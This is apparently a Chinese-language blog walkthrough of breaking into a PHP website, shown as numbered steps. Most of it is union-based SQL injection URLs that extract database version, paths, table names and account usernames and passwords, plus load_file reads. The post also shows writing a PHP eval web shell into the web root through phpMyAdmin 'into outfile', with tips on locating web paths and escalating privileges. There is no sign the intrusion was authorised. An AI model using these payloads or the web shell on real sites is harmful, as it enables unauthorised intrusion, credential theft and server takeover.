1、尝试1=1的情况,正确
- http://xxx/xxx.php?id=2900 and 1=1
- http://xxx/xxx.php?id=2900 and 1=2
- http://xxx/xxx.php?id=2900 and '1'='1'
- http://xxx/xxx.php?id=2900 order by 15
- http://xxx/xxx.php?id=2900 order by 14
- http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14
7、暴出数据库用户、版本、库名和路径信息,运气不错,是root权限。
- http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),7,8,9,10,11,12,13,14
- http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,load_file(0x633a5c626f6f742e696e69),7,8,9,10,11,12,13,14
- http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(table_name),7,8,9,10,11,12,13,14 from information_schema.tables where table_schema=database()
- http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(column_name),7,8,9,10,11,12,13,14 from information_schema.columns where table_name=0x6163636f756e74
- http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(username,0x5e,password),7,8,9,10,11,12,13,14 from account
13、发现该网站有phpMyAdmin,phpMyAdmin是个好东西,可以在magic_quotes_gpc=on的情况下写入一句话。不过得先知道mysql数据库连接口令。用穿山甲跑了下注入点,可以读取出mysql的root和其他账号口令,但都是收费的hash。。想想即使拿到口令,没web目录的绝对路径也不能写一句话啊。
14、搜索了一些phpMyAdmin的暴路径的链接,均失败。
- /phpmyadmin/libraries/lect_lang.lib.php
- /phpmyadmin/themes/darkblue_orange/layout.inc.php
16、读取配置文件d:/wwwroot/sql2004.php
17、登录phpMyAdmin,写入一句话d:/wwwroot/1.php
- select '<?eval($_POST[cmd]);?>' into outfile 'd:/wwwroot/1.php';
19、回过头来,在数据库里翻了一番,在数据库名为admin的库中找到了个口令,一下就登录上后台管理页面了。。
20、终于写完了,总之日站这种事情有时候需要点运气的。如果是linux系统,一般可以直接读取/etc/httpd/conf/httpd.conf文件来获取web目录的绝对路径,Windows的话就要猜了。后来看一下,这个站点的httpd.conf在C:/Program Files/Apache Group/Apache2/conf目录下。。
还有如果不是root权限,那么就只能靠登进系统上传shell或者直接用FCKeditor之类的编辑器上传。这个网站当前运行的权限是system,如果是linux的话还得反向连接,再本地提权。